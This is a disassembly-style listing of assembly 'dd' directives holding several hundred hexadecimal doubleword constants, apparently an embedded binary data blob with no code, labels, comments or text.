dd 3B9102EBh, 0B843AFAEh, 8D49299Eh, 1B232B36h, 3CC3F6CCh
dd 8CF131F0h, 34E67CCBh
dd 1BCDB9AFh, 747AE2ADh, 0E438193Ch, 0D7E7D1Ah, 97F7918Dh
dd 73D6E8D4h, 66D2C236h, 18031063h, 3BC3E886h, 56E2AE24h
dd 54EA7CDFh, 6DD5BAAFh, 0E87E0F9Eh, 28BE0EDCh, 0ACF6C70Ah
dd 57EEB714h, 762F06D4h, 25BBEFD1h, 18E3546Bh, 1FBA58C5h
dd 1E9C50F8h, 57EA43FFh, 0EFDDBBAFh, 0F369778Eh, 0DD1D1FA3h
dd 763832B5h, 2504A08Dh, 0B61F04E8h, 73C2BB5Ch, 294571D9h
dd 30864287h, 7B07D0FCh, 0D11F3C48h, 2FE5BBCEh, 2FCCF98Fh
dd 0E87D1E7Ah, 61923003h, 296BA029h, 0F51F4275h, 8DEF12C5h
dd 511253C5h, 0E4FC8F8Fh, 0D8F9AF2Bh, 0B4F67ECBh, 3DE73277h
dd 17877A0Fh, 0C1FEF471h, 0FDC92206h, 37D57A8Bh, 7F92F5BEh
dd 8F6BEC31h, 0BF2BE4FCh, 7CFFB7EAh, 0EC0F77E8h, 0F11D97D2h
dd 0EB3E1366h, 0CA7C5F21h, 0DCFB7F2Fh, 9BC5BEEFh, 47D17B9Fh
dd 8EE5F0BFh, 3F828164h, 1E3BD596h, 0BEF7AFFBh, 0FF0FDFFBh
dd 0F9FF8369h, 0F4BDE0D0h, 0C57D4D89h, 0ECF87FA7h, 0FFFC7E37h
dd 1801800Fh, 7BA7F369h, 637E37F5h, 77F87057h, 7FB7D57Eh
dd 0FE7AE7D7h, 28118027h, 65D81381h, 0A47E2804h, 17BF7E47h
dd 80C28740h, 0D980E78Ch, 28147C77h, 82482382h, 187D0816h
dd 67868088h, 7FA81C7Eh, 0C40C981Eh, 28247ED7h, 81283383h
dd 50CE804h, 0C7BD7BA2h, 2547A65Fh, 3082E7E8h, 28348108h
dd 7DE84384h, 7838836h, 78093FD8h, 82D80B78h, 0FD82F7ABh
dd 28447DA7h, 7B585385h, 3A7CF846h, 0C80A7648h, 80D7A982h
dd 5180F84Fh, 28618548h, 85677986h, 4B7F7839h, 0E7D685B8h
dd 3820FE85h, 86E86D86h, 0CE79D7CCh, 88477F57h, 82A84982h
dd 4E81D7C0h, 78608408h, 64E00065h, 806D287Eh, 8826598h
dd 87F88465h, 88651886h, 0A2688858h, 6F488h, 8D64F88Fh
dd 38926568h, 8941CF89h, 97653895h, 389A6588h, 65289C88h
dd 7E88889Ah, 17F289E8h, 8377B987h, 2B867857h, 87A83E8h
dd 65582185h, 938A3882h, 365F8B16h, 88489C8Ah, 0B06B58B3h
dd 38B888C8h, 8B48BA66h, 8B8BC654h, 6618BD8h, 7148898Ah
dd 0C2848865h, 0D8787E56h, 86B28784h, 0A265A831h, 0F8908968h
dd 8D28BE0Fh, 0D48B08BBh, 8DB88F8h, 1098DC88h, 0D58DE8BAh
dd 48D58D48h, 8DF8D38Eh, 0E28E28E3h, 98EB8DA8h, 8DB8DD8Dh
dd 0B78ED8E7h, 48E58EF8h, 8EA8F08Fh, 0E58968DDh, 98EA8F88h
dd 8B18EE8Fh, 0FE8878E0h, 0C8E98FD8h, 9028F48Fh, 0E18908D3h
dd 59078E48h, 8F38E190h, 0DF8ED8F0h, 89058F98h, 691190FEh
dd 9018F78Fh, 0F8E0917h, 28FA90A9h, 8D790E91h, 0C86D990Fh
dd 0A8CA8758h, 8797A781h, 0AE87B8CEh, 0E9068988h, 91390492h
dd 1E90390Bh, 0F9129009h, 8A18FA92h, 2F88C8F5h, 69328FB9h
dd 93E8BE93h, 429358F5h, 391F93B9h, 93F93D93h, 0D68B693Dh
dd 89369458h, 94193393h, 318918D7h, 694E8EE9h, 8C294A88h
dd 5B95293Ah, 395C94D9h, 95695794h, 4595F92Eh, 0C94C8F89h
dd 9246F495h, 0AA84A858h, 0B1A59298h, 94065D92h, 5D939967h
dd 0C95191E9h, 94891593h, 7288A913h, 49529109h, 9408DE95h
dd 82973977h, 39219469h, 8F28F18Fh, 7F96788Dh, 393B9879h
dd 96193A96h, 1097893Fh, 699094E9h, 8FE98D8Dh, 0EF91B8E8h
dd 298B8DC8h, 9A094699h, 0D2903976h, 18F79668h, 9696958Ch
dd 5C8CC8A9h, 8AD83F8h, 97795497h, 0A09B287Fh, 89509659h
dd 9B89B395h, 5A94C939h, 0FE959539h, 0D9849379h, 9329A59Bh
dd 3197A9A4h, 9A68839h, 98E99696h, 919C69B6h, 0F9BC9759h
dd 98F9CD99h, 0A18C6921h, 0F9819BE9h, 9CC95E9Ch, 0C49A29A3h
dd 99A96F89h, 92874381h, 0AE96E8CDh, 197165C9h, 9359749Bh
dd 0B79A19B5h, 0C94D9CF9h, 9D39BB9Bh, 0C29819B0h, 49C29539h
dd 9CE97C9Ch, 0B29D09D5h, 0F9ED9BB9h, 9E99C99Bh, 629B89F3h
dd 69EE9C59h, 9D8A00A0h, 0F5963958h, 89849C39h, 9E06D69Dh
dd 1B8CB829h, 692A8AB8h, 98965B9Eh, 179BE915h, 0A99290D9h
dd 90CA2190h, 0DB91497Bh, 0CA259169h, 0A2AA1C8Eh, 22987A1Dh
dd 898C8B79h, 89F92294h, 1C9958E8h, 4A2F8E39h, 0A3498091h
dd 399E98E7h, 0CA25A36Ah, 8D891C93h, 8DA27901h, 0C9089D79h
dd 0A34997A1h, 329EC9FFh, 6A136D7Ah, 9E3A1587h, 5F8AC9ACh
dd 76D692C8h, 8977329Ah, 5D86FA24h, 6A50689Ah, 83D9E292h
dd 418CF96Dh, 59FE6F58h, 0DA3B717Ah, 0A5E8E69Bh, 60663A6Dh
dd 9A627BEAh, 0A18A547Fh, 77A6EA56h, 5968A78Ah, 8A72968Ah
dd 3C9E1866h, 0F86AA738h, 0A84A7996h, 706B6A85h, 0C7D383BAh
dd 9E5A7484h, 8FA86A76h, 0B9A8A90Ah, 8A8873A7h, 69A8AA7Fh
dd 1A8385D8h, 0A9CA9BA9h, 7DA9379Bh, 0A718C9Ah, 0A82A8BA8h
dd 0A7A9DA19h, 865EAA8Ah, 868859A8h, 6CA8DA17h, 2AB1AA98h
dd 0AAB657ABh, 0A59AB96Bh, 86B1A8EAh, 90965EA6h, 59662990h
dd 0D9AFA5CAh, 9FCABEA1h, 95ABB660h, 0F9B9A5B6h, 97968B8Ah
dd 0CBA3CAC3h, 7AB5733Ah, 0A64A1687h, 2779A9Ah, 5AC7688Ah
dd 9CDA1AA0h, 0F9ABFADCh, 974AC96h, 9E7ACC8Ch, 0D273489Bh
dd 4A63A52Ah, 87CA659Eh, 1AA2987Dh, 88EBA2D9h, 9B099491h
dd 43A20A1Fh, 7A3EABDAh, 8F18EC95h, 3AA1E9FEh, 290E8F6Ah
dd 91D8C29Ah, 2A48AEFh, 0DA22907Bh, 938A0BABh, 0FAFCA45h
dd 0A91FE6Bh, 0CA2EA23Bh, 999A3699h, 5AA46AE2h, 2B01B159h
dd 0AFFAF18Ah, 0DAB18AFCh, 86B3A078h, 0AEA927AEh, 57AECA8Ch
dd 3B0CAC5Ah, 96198F9Fh, 0DE9839D3h, 0E8C69419h, 0B2DACFB2h
dd 0CEB22A05h, 9509BFAh, 0A0C9429Fh, 499E9CCh, 4947A0D9h
dd 0B40A0A9Bh, 0D0AF59DBh, 4A09B319h, 9CBAF794h, 0EAA0499Fh
dd 0FADAA269h, 0A72B2565h, 0A6A99AA4h, 0ADD87DAh, 0B4CA2698h
dd 0D1B3F960h, 399DB529h, 0A00B5DACh, 75B6695Dh, 4A35A389h
dd 9C59FBACh, 5FB4DA6Bh, 697EA09Bh, 0B2FB6995h, 69965B4Eh
dd 0AB7A95EBh, 0B39949ACh, 0F5B72AFEh, 49B1A31Ah, 0B4F983B6h
dd 566B2B51h, 0DA98AA3Bh, 9C7AB99Ah, 4E9DA9FDh, 79F7B0DBh
dd 9F4B62B7h, 91A02ABEh, 7891B90Bh, 944B49A3h, 3BA11894h
dd 0A9E89FBBh, 0B9EB92A4h, 0D48FBB9Bh, 9B72B339h, 9DDB7DB9h
dd 71B6188Bh, 89FA9EEBh, 9D9B65ADh, 8A6B1A3Dh, 0AEA97BFEh
dd 39AFB29Ah, 0B9AB67B4h, 0C1B81B94h, 0CB6BB32Ah, 0B979D2BAh
dd 48B6CB38h, 3BCBBA7Bh, 0BBFB6B9Bh, 9ABAEB23h, 7BD5BAABh
dd 0A47B46BCh, 449EFB95h, 8991B67Bh, 0B5EBB4A3h, 0B9B88BC2h
dd 0A874A9FBh, 0A53AD396h, 9BAB0AB8h, 9BEDA378h, 0A4ABAFAFh
dd 0CDB16B86h, 9B06B73Ah, 0A3297AA4h, 1DAF4A1Bh, 0CBD98F2Bh
dd 9FE8BBA2h, 3199AA4Bh, 1B17B7FAh, 0AFABFABAh, 1AB6AB50h
dd 0DB06BF89h, 0BF1A3C91h, 0F39F0A6Ch, 0D91FA44Bh, 0BEEA4CB9h
dd 0EEB38C00h, 0A6AEBF4Bh, 0BBC85ABBh, 0C66B7AD6h, 4716B6DBh
dd 6D9AE6C2h, 37B54BC6h, 0A8B2C2B7h, 0AADC1F6Fh, 23B5AAD5h
dd 0F754B14Ch, 6F6AEEC0h, 6A7DCA22h, 2C2DC29Ah, 96CC3069h
dd 0B3C22AEBh, 0FC45C44Ah, 0A95BE521h, 81B26A14h, 6B8EB59Ah
dd 0AB1C4FC4h, 4DAB7C40h, 6C50BEBCh, 0C52AA7C5h, 33C42AD4h
dd 6C5DC57Ch, 0BE9C59A8h, 0FE8D0C54h, 85C64C5Eh, 0AB27C60Ah
dd 0C65C63BEh, 67A6EC6Bh, 5B8DC4CCh, 0C3E6B2C5h, 74AE3ADDh
dd 0CA33959Ch, 0B3D9C1C3h, 7B8FF715h, 98B6689Ch, 0ABCAC188h
dd 0C9B8FAC5h, 0B58C6E7h, 0ABAC6AC7h, 0BC8B368Dh, 4B3A8C58h
dd 0C85C2C96h, 0DBC77C23h
dd 7833AD9Ah, 0A55B8CC8h, 19893C71h, 0DBFB9C8Ch, 9D6B1E8Fh
dd 43C1490Dh, 2909AF0Ah, 0A40B2097h, 0C0CBA5h, 8A2799DBh
dd 9C0C09A4h, 9A42BF9h, 8CA4CA2Bh, 8A1CA7CAh, 0F3AF0C1Ch
dd 0FB058FCAh, 97CBFCBEh, 0F1C1090Ch, 0FBA59B5Ah, 776B0AAEh
dd 5CC21C99h, 4B47899Ch, 0A41BE193h, 0C2B8189Fh, 3B419EFBh
dd 0A47B52BBh, 1BA9B83h, 89DDCDAAh, 0BDE997A0h, 0D5CD7BC9h
dd 0CB4AB80Ch, 0A03BB6B4h, 0FAB6EBF8h, 6B3CB369h, 0CCB94397h
dd 4AA7EC48h, 5C9AB57Ch, 0C75C9CA7h, 0AF9ECBC9h, 0CB6597DBh
dd 918BCC99h, 199EDBF2h, 7A2AB64Bh, 0A2FB66D0h, 0D0FE7CDDh
dd 18B74A30h, 3B6FA2ECh, 0B6CB76A0h, 0DD03B35h, 0AB83CFDCh
dd 0D109D1C7h, 0E8A3DA4Bh, 5CD2B9F9h, 0C32CCC77h, 0FCAD0C4Eh
dd 6BB7BD8Ch, 0BD0BD1C9h, 4CBD29CAh, 0B9799D5Ah, 0CA3B879Eh
dd 30ADBBCFh, 0BCD9959Dh, 0B35D04B3h, 209F6CACh, 2D1CD36Dh
dd 0CEE892D1h, 48BA4937h, 46D5C73Bh, 0D26C5BD2h, 19B91CFBh
dd 7B96CEBDh, 0D1FBB2BDh, 0CED42B45h, 0CCE5BD4Bh, 0D59C74D0h
dd 46D54D38h, 9D459CEDh, 0CE3CE4D5h, 0E3B98A0Eh, 5D3BD68Ch
dd 0D29BA3D5h, 4B756BDFh, 0FC43B28Dh, 0D0CC9E8Ah, 9DB42CA5h
dd 4CC1B9CBh, 0C03D08AFh, 0ABA3FBA3h, 9CBC98ECh, 0CC4D568Dh
dd 4AFACB2h, 0ED78AFBCh, 0CB0D77A1h, 15D06B39h, 1B08AF3Ch
dd 0B68BFDCAh, 0B1CA0BEDh, 8906B4FCh, 0C0DBFCD8h, 53D8AB2Fh
dd 6C69D707h, 0C6CC8CA6h, 276D7C84h, 165CDA5Ch, 0DA3C62DAh
dd 8FD4968Ch, 768ADAFAh, 0DAADA9C3h, 0AA1CFEF4h, 25C20A89h
dd 0CDB4CFADh, 0DAB844DBh, 0BDDADC89h, 0F834DC2Dh, 0C8AC9BDBh
dd 23DC8DC3h, 7CF9DC58h, 0DCEDC9DCh, 0AFDCB811h, 4DCFDCDAh
dd 0DD17F1DDh, 0D9DD5BBDh, 2DD7801Dh, 0DDEDDAD7h, 0CEDDC7DBh
dd 5DE3DDFCh, 925DB685h, 0BABBBAA2h, 0CDE4DD3Dh, 0DE179ADEh
dd 0F1DEDD4Dh, 0BDEF798Dh, 0DF6DF2DBh, 0EBDF4777h, 4DFBDF7Dh
dd 0DC1DF975h, 0A0E00DFCh, 9BE7DE6Dh, 0DC6C6FAEh, 9E01DFFh
dd 0AE03AD1Eh, 0D71C5A9Ah, 11E0ADE2h, 6E0C7DFEh, 0D4CDB9A9h
dd 19E12DF5h, 0DDFE6F9Eh, 0E1EE1AAEh, 0F6E14E1Bh, 0CCDB8BCh
dd 0E26E1FDFh, 2AE1C6D8h, 2E2BE27Bh, 0E2CE296Dh, 21E28E2Fh
dd 8C4BA51Eh, 0E1DE07C8h, 0B4E38E30h, 0CE39E2E6h, 0E3B6B5E3h
dd 0B0E40E3Dh, 4E41E3F6h, 0E43693E4h, 8EE48E45h, 0CE49E476h
dd 0E32A5FE4h, 0EAE23A61h, 4E4DE08Dh, 0E4FAAAE5h, 0FE16DE8h
dd 0CE55E25Eh, 0E4B65AE5h, 0E60E5DFEh, 61E5F659h, 3654E64Eh
dd 0E68E65E6h, 69E6764Fh, 8C47E6CEh, 0BE6A7C7Bh, 0C0C61E0Dh
dd 0DE6DE37Dh, 0E76E6BE6h, 79E78E65h, 0CE7BE61Eh, 0E7EE5DE7h
dd 81E55E7Fh, 4E4DE82Eh, 0E49E85E8h, 45E88E87h, 1E8BE8AEh
dd 0AE8AE4h, 9E911CFh, 9E93E911h, 6B6E9665h, 0A0FFE98h
dd 0C695E9C0h, 656E9DE9h, 98654E9Ah, 0F650EA2Eh, 0E4EE8EE9h
dd 0F5A94E6Fh, 4CF7E33Ch, 0EA6E18E2h, 0A5EB2E92h, 46D3EA3Eh
dd 0E966B0EAh, 0BA64EEB4h, 0C65DEB1Eh, 0E5EEA8EBh, 31DB8E57h
dd 1DFAE17Ch, 0E9BE95EBh, 0C9EA7E94h, 0BEBBE94Eh, 0EB2ECBECh
dd 0A0E9BECDh, 0F268EB9Eh, 0EA0EB9E9h, 0D9ED8ED3h, 4ECAECCEh
dd 0ED2EB3EDh, 0C8ED0E93h, 1EBBEDAEh, 0ECFEE4EDh, 0DEEDBEE9h
dd 4EE2E95Eh, 0EDDED0EDh, 8D661EC0h, 0EE8EC8Eh, 0EF8ED2EEh
dd 0D5EF1EE4h, 9ED1EFCEh, 0EFAEDDEFh, 0FFEE6F01h, 0AECCEFDEh
dd 0FEFEEEE9h, 0F08EFEEFh, 0C9F09F00h, 0CEFBED5Eh, 0EBFF0FF0h
dd 0C2E62EF2h, 0AC41AACEh, 0EC7EB0E5h, 0FAF09F0Eh, 0DEFEF04Eh
dd 0EF7EE2ECh, 0D7F21F10h, 0FE9DEDAEh, 0F1DED6F0h, 0EEF1CF06h
dd 4EECEDFEh, 0F0AEE3EAh, 0A2F26EF9h, 0CF05EB7Eh, 662F14F2h
dd 2BF2DEF4h, 0FF23F07Fh, 0F21F22F3h, 0F8F38F20h, 2F2AF0DEh
dd 0EF5F2CF1h, 4FF4CF0Ch, 0DF33F366h, 0F46F46F4h, 3AF29F02h
dd 6F16F3BFh, 0DA2E0EABh, 0DEB5E75h, 3F3FF22Fh, 0EF6F52F4h
dd 1CF24F61h, 0EF02F64Fh, 0EF6F4CF4h, 47F49F4Bh, 0FF2BF4FFh
dd 0F48EE1F1h, 56F52F40h, 0EAADB5Fh, 0EC3DE7AAh, 2AF5BF18h
dd 0F29651Eh, 0EEAEA6F8h, 92EDEEBDh, 9F12EF0Eh, 0F87EE3EDh
dd 0B7EDCEEFh, 5F2FF34Eh, 0F03F2AF8h, 94ECAF91h, 0EE1F8BFh
dd 0F76F42F9h, 71F78E56h, 0EEC4E15Eh, 1A66770Dh, 0F179D7C3h
dd 368F62D6h, 6B4F5DF1h, 9BFA9EA5h, 80EF7B3Fh, 10FEC252h
dd 0EAC8052Ch, 0B2DE9E50h, 87EAFA23h, 0FA607D3Bh, 0D7ECEF7Eh
dd 2FC1FC0Eh, 0FC4FC3FCh, 0C7FC6FC5h, 0AFC9FC8Fh, 0FCCFCBFCh
dd 0C0FCEFCDh, 65CFAEFh, 0FB207EFBh, 58FB57F4h, 0F677FA0Eh
dd 0EC6FA583h, 0D3E30FD1h, 7FB4FD5Fh, 9ABF17DBh, 0BDA55FDAh
dd 0E4CFDEFh, 740FB3FEh, 53F7BFD7h, 0A0769ADCh, 0E2CFE9F1h
dd 0ED7A0FEBh, 3F59FE3Fh, 9E5445E7h, 0F4793FF2h, 4FF100Fh
dd 0D058240Eh, 98441E0h, 0D8642E15h, 8843E1D0h, 0A44E2511h
dd 0BE9F50C8h, 8FC7E79h, 5A0C9653h, 3ED06CB6h, 0ACC65366h
dd 0CE67355Ah, 0A75BED88h, 2F150606h, 79580804h, 0BACC44F2h
dd 0EDA8D57Ch, 194C9684h, 9D3B6F35h, 4C964C85h, 0F63B1F98h
dd 57CBEDFEh, 0A853E9D1h, 0A54EA551h, 55EAD55Ah, 6EB559ACh
dd 62F52AE5h, 471D8DC6h, 0F259048Ah, 2D95CA64h, 599CC65Fh
dd 9DCE66F3h, 0CFE7AD4h, 4F686D4Ah, 9548FEA3h, 0D7DAED32h
dd 81C05FEFh, 5C260F05h, 0AFC530D8h, 47A391Ah, 49A49649h
dd 0BA592A94h, 0A6932984h, 793A9C4Dh, 8D66A4FAh, 0D4CEB65Ah
dd 53AB0A4Eh, 0A5BF5E67h, 661DF4FFh, 6BF5DADDh, 0CF65B1D8h
dd 0E05A883Eh, 4AF37E45h, 18E69B0Bh, 8F6FB39Ah, 5B564ACFh
dd 0B8662DB9h, 835A7F9Bh, 0E8F3D766h, 0AF53A7D2h, 0FADD5DA6h
dd 0B5D9EC75h, 0AFF8BED3h, 0BCD2BBDFh, 2E058F7Ah, 0CA5A723Ch
dd 0D5BF2F6Ch, 35B3972Ch, 4190CA63h, 57925653h, 0F7A876E9h
dd 0DFD7E6A9h, 3007FFFh, 2407014h, 40F0340Bh, 70541304h
dd 741B0641h, 1E8441B0h, 0A427094h, 42F0B42Bh, 0D0D4330Ch
dd 0DC3A8BC0h, 0E87CC3E7h, 0F10EAF01h, 2E48F994h, 0EB319CE0h
dd 0B2D6C9BCh, 0E2CCADCCh, 0F8B3AB9Ah, 998FA18Ch, 0ED298269h
dd 0D9FA7E9Dh, 832043AFh, 22487214h, 48F2348Bh, 72549324h
dd 749B2649h, 0A32849F2h, 4A7294FEh, 0F2B4AB2Ah, 0D4B32C4Ah
dd 0BD0FC9B2h, 60B4A773h, 340DE9C8h, 115C5265h, 5B8D16ADh
dd 42E5462Fh, 6B9ACCF3h, 98E6C1AEh, 0A7A0E83Dh, 0FA96EF47h
dd 0FB3E4F70h, 404FF3F4h, 50741503h, 0F4350B42h, 55134450h
dd 1B465174h, 4851F475h, 52749523h, 0F4B52B4Ah, 0EBFC82CFh
dd 0F67A1E87h, 689C63D8h, 0AE4E69AAh, 0C84548Fh, 83D4E2CDh
dd 96F73931h, 3855E6B3h, 0F3399B1h, 0CD453840h, 0D5732DC7h
dd 7B5E5775h, 6057F5F5h, 0D8761583h, 6FEA0D5Dh, 21007A53h
dd 0AE6898E4h, 0C733C6A9h, 0BD2E24CEh, 6F6B9117h, 0A244E646h
dd 836E1A66h, 4E4EC3F9h, 1F67A9F3h, 0F735CB62h, 45012D5Ch
dd 0DB765D77h, 7CC8F775h, 5C47CCFAh, 871D954Eh, 1D5E939Ch
dd 0A9543CD3h, 193D8E3Dh, 39A913DFh, 6424736Eh, 0A9E8770Fh
dd 0E0799E07h, 8861F871h, 62789623h, 0F8B62B8Ah, 0D6338C62h
dd 0FE8E6378h, 63F8F63Bh, 79164390h, 364B9264h, 539464F9h
dd 7B629956h, 1D78865Ah, 6771E875h, 34C2400Fh, 0CB5155E9h
dd 175A753Ah, 9E35009h, 0A768C418h, 0AA79511Eh, 0BC6EA80Fh
dd 661A6CF1h, 8EAFB984h, 0AD29083Dh, 0EA348D34h, 0B3AC6AE3h
dd 0AE6B7AD6h, 6BFAF6BBh
dd 7B16C3B0h, 36CBB26Ch, 0D3B46CFBh, 0B66D7B56h, 6DFB76DBh
dd 7B96E3B8h, 8FDACEEh, 0A1A9A903h, 3D8EC3DEh, 19863976h
dd 26F1AC68h, 819C6CE9h, 9CBB4706h, 741F26A1h, 0AD82125Ch
dd 0FA1E839Fh, 0BF07A3DAh, 986A33C6h, 0D2974629h, 0EA1A9108h
dd 7D10F83Ah, 374BD274h, 53D474FDh, 0D6757D57h, 75FD775Bh
dd 7D9763D8h, 0B76BDA76h, 73DC76FDh, 0DE777DD7h, 74FDF77Bh
dd 4430EC3Bh, 0F8F7A9F8h, 774F0FE3h, 0C1F03CD1h, 0F0FC29BDh
dd 86271269h, 721C771h, 65A2685Ah, 0A49BBCACh, 9AB38E95h
dd 2724C260h, 31845E18h, 0F0FEFCDFh, 7D7F57D3h, 0FF77DBF6h
dd 97E3F87Dh, 0EBFA7E7Fh, 0FC7EFFB7h, 7F7FD7F3h, 0FFF7FBFEh
dd 5006007Fh, 20240380h, 0C118EFCh, 19A30461h, 0DF85D8CDh
dd 6A2A31BAh, 0D32CAE5Ch, 607A0E18h, 449938F0h, 48F00C4Eh
dd 7B67D0Eh, 6F706B2Bh, 4708E44Eh, 9BD6FE38h, 8550A494h
dd 0B61642Bh, 1842F85Dh, 338650C6h, 6D0D61A4h, 0E61C4378h
dd 0E0DA8730h, 0F87D0F61h, 51062043h, 62244388h, 44788D11h
dd 89512624h, 1362644Bh, 2844F89Dh, 29245116h, 9835CA01h
dd 9070C241h, 0E8D718E3h, 11A0E606h, 8329C2BDh, 8952A282h
dd 0BD51DA3Dh, 838F5E0Ch, 7360F19Ah, 630CA398h, 0D539A7CCh
dd 0A70951C0h, 0A5C4A261h, 0E47B28B0h, 0F8FD1F63h, 52064047h
dd 64248390h, 48790D21h, 91522644h, 2364648Bh, 4848F91Dh
dd 93925246h, 2D2564A4h, 0C61C7D9h, 31211C43h, 0C5643A86h
dd 45D9EEADh, 1C61FE5Bh, 61886FE3h, 0D060B50Fh, 23596E67h
dd 1CD6064Fh, 19032238h, 3289111Eh, 6549F1AAh, 981A8310h
dd 7D2F64CCh, 6604BF9h, 24C39853h, 798D3166h, 5326644Ch
dd 6664CB99h, 4CF99D33h, 9A534668h, 3566A4D3h, 6C4D79ADh
dd 0C4189266h, 44310A28h, 38930CC2h, 0FAAF59EBh, 0A948C0CDh
dd 119A5313h, 9B4AB8Dh, 4AF54907h, 8A84F56Dh, 3C893CAEh
dd 7C4F09DFh, 0FB9F53E6h, 0FD3F67E4h, 6804FF9h, 2503A054h
dd 7A0D4168h, 54268450h, 68650BA1h, 50FA1D43h, 95D40688h
dd 380FA972h, 0FA8E51A8h, 864CA898h, 7A338DFBh, 0EC9493C3h
dd 0B4178CE3h, 71F33B5Eh, 48A277CFh, 5819CD85h, 43A9F10Ah
dd 0A654C698h, 4D69A533h, 9C537A6Dh, 3BA754E6h, 7D4F69E5h
dd 4E3C536Ah, 0D91E2531h, 61A03809h, 4E286451h, 2299E3A5h
dd 0C68A4434h, 0A4CCFC02h, 556AA511h, 0AC557AADh, 5BAB5566h
dd 576AE5FEh, 0AE55FABDh, 0F69CB472h, 0A5540798h, 807CC1BAh
dd 656BAD55h, 0FADD5B6Bh, 55C6B856h, 0AB1558AEh, 4EBAC8E1h
dd 0AE70720Dh, 5F6BE57Bh, 0C057FAFDh, 75B03606h, 495DC685h
dd 0B2A8804Ah, 6582AD32h, 0FB1D636Ch, 0D646C858h, 2C3584B1h
dd 553B1306h, 0B35666C9h, 676CE59Bh, 0CA502B3Dh, 97B0F596h
dd 655B6B45h, 0C85A8B51h, 65ABB3E2h, 0DB5D6B6Dh, 559AD0DAh
dd 0C5956CB1h, 8E91F44Ah, 0B756BC5Ah, 6F6DE5BBh, 0D1DB1AE5h
dd 6AAF559Eh, 8388595h, 26DF5B82h, 65CBB957h, 0AB81436Eh
dd 0C1D0354Ah, 0EC58ED26h, 1B7B8B57h, 0B9B720EAh, 3965A581h
dd 0F05DFBB7h, 76BBB43Ah, 2018291Dh, 55A15D27h, 0FDD7ABB7h
dd 0C16E39C7h, 4408678Ah, 0C004FEBBh, 0D0CBEB2Bh, 0BF33EAFBh
dd 0C0EFDCFCh, 83DFDBEAh, 0FDA09802h, 5814005h, 1F03558Ch
dd 500BED8h, 5BFD81B0h, 0D7E707E0h, 0FEFD54C1h, 5BF73F6Fh
dd 540B05E1h, 70DD99C1h, 0D5ABC73Eh, 613AB0Fh, 746C45E6h
dd 0ADDEABA7h, 0B71B97B2h, 5A33C678h, 0E6F90B81h, 5E19BE96h
dd 0C3B86E8h, 0B863038Dh, 0F1A604ADh, 616C2556h, 0C7F3C306h
dd 8E2FF643h, 0ED55C8Bh, 3C85837h, 9B6431BDh, 670FCAFCh
dd 8DE5C435h, 4BD15449h, 0E2CAAF5Dh, 6E1021Ch, 0FFC602Bh
dd 16427C56h, 91719E31h, 0AE12BFFh, 38C27863h, 23843356h
dd 0C335922Ch, 0BE44C219h, 0DC2791F0h, 0D9E6FBE6h, 0E7C609CDh
dd 0E70CDD9Dh, 0D019B33Eh, 0A0F1FE80h, 36646CEFh, 88D098F3h
dd 0D19FB076h, 231CE67Ch, 1E44C8DAh, 0FCE59BF4h, 39A74AE8h
dd 0F3AE3AD1h, 0E8ECD7A4h, 0D2F9EF3Eh, 8D33E696h, 33679CF5h
dd 0ABD47A4Bh, 45AA3486h, 2F53E97Dh, 0C6519E1Ah, 425D94EAh
dd 789F2B62h, 47FE5BBDh, 0AC14F97h, 1463706Eh, 2C84E89Fh
dd 670F91FAh, 0BBF96A8h, 9EFEB516h, 36E92D05h, 85C33B43h
dd 3BAA73B6h, 0A333693Dh, 5694D17Ah, 7C1BA175h, 1AA75761h
dd 74F6E3DBh, 6CFD4DA6h, 0C75B734Ah, 0B4B75681h, 4E6E4C8Fh
dd 0E6D9BB4Bh, 19BAF716h, 0E7796EFDh, 16DDD65Bh, 0FD9FBC37h
dd 99CF78EEh, 0F596E1D0h, 0EB4C0590h, 0C47ADAABh, 5BF13655h
dd 2E65AAB8h, 131462B3h, 2C27761Fh, 0D459089Eh, 50C41E63h
dd 0DD997EB6h, 0D9F375EFh, 0B6D671E0h, 0EDBDEFAAh, 0E05A9F25h
dd 0BBB9060Fh, 92E39DE9h, 9CDB1C13h, 0FF84746Eh, 8F7A69BCh
dd 8EF6C13Bh, 1D19BEB4h, 0DCEF7FE7h, 0B6E6EDE4h, 686DFB9Ch
dd 0E858F37Ch, 0C176A738h, 73E4AE5Bh, 0F5E03B6Bh, 93EB916h
dd 1696E52Bh, 4419CA96h, 0CC524E2Fh, 829C67EBh, 0F608B8E2h
dd 0F6711228h, 1E629C44h, 0C745F8D3h, 96F4FD03h, 0D5DEDBEFh
dd 51D234AEh, 0BFA1F1FEh, 0F775EA7Dh, 4EFBB2F6h, 3BFB93E7h
dd 37D68A9Fh, 0EEBFEE1h, 9BE3B8F0h, 0FA278AEEh, 6FBD13D1h
dd 0EF1BF3BBh, 0CEBA6F88h, 0A8E4BEE1h, 79F1BD23h, 6BD5E7CFh
dd 9311759Dh, 465767D8h, 0FBD95571h, 9B138A0Ch, 3B310215h
dd 0AC113DAh, 0EDC2D3B6h, 0C1733E3Dh, 67682DE3h, 98E63D37h
dd 5DC9BDCFh, 2799FB7Eh, 0AF86DDDEh, 0DE73CBBDh, 0BE739CFBh
dd 3DA797F0h, 77BDAFF3h, 0F7DF439Dh, 0EEBCE66Ah, 0E3754DADh
dd 0D3E7FF1Fh, 9ABBCBFh, 0BFA2F2BEh, 709F3D2h, 3B49D6FDh
dd 0E2D6AC5Ch, 4FF6236h, 0A713BB1h, 0F5C27C81h, 2D05A767h
dd 7D8B115Eh, 0B8F8BA96h, 63B476EFh, 33FFDF6Dh, 3A834D35h
dd 0A9400356h, 0FBA1B57Bh, 0B66B6FB3h, 813E4B6Bh, 0EBC33703h
dd 3C7B673Fh, 3DC08356h, 5C0C4053h, 40A34B40h, 0C53833FEh
dd 43FDB7BBh, 402B9BB7h, 0FC07C0Eh, 9B964084h, 0B57C12BBh
dd 72C0C370h, 1B03C0A3h, 2E7AAB3Fh, 0ACAD9B86h, 18D53F52h
dd 4BF736FEh, 0BF885184h, 58844BF9h, 0BFC3FB0h, 0AF0B8F32h
dd 233C1B01h, 0DB27AABCh, 425AAF31h, 0AAC19280h, 0B312C1A2h
dd 0B882AC41h, 8B05A87Fh, 0EBB384EBh, 3F907FC1h, 0FB051BD7h
dd 5BD9855Bh, 0C2740336h, 0DF3C3C24h, 3286C33Bh, 0C362B543h
dd 28287B1Ah, 3C292AA4h, 0BD33D2BFh, 59081074h, 0F04FBD70h
dd 84FBB441h, 55857857h, 1C354218h, 0C42C4244h, 88C38A7Fh
dd 0AAE1439Ah, 85AAAAC3h, 3EB3043Bh, 0F844C3E4h, 44143084h
dd 4C44BC43h, 84444434h, 42A44528h, 478592ADh, 83B38564h
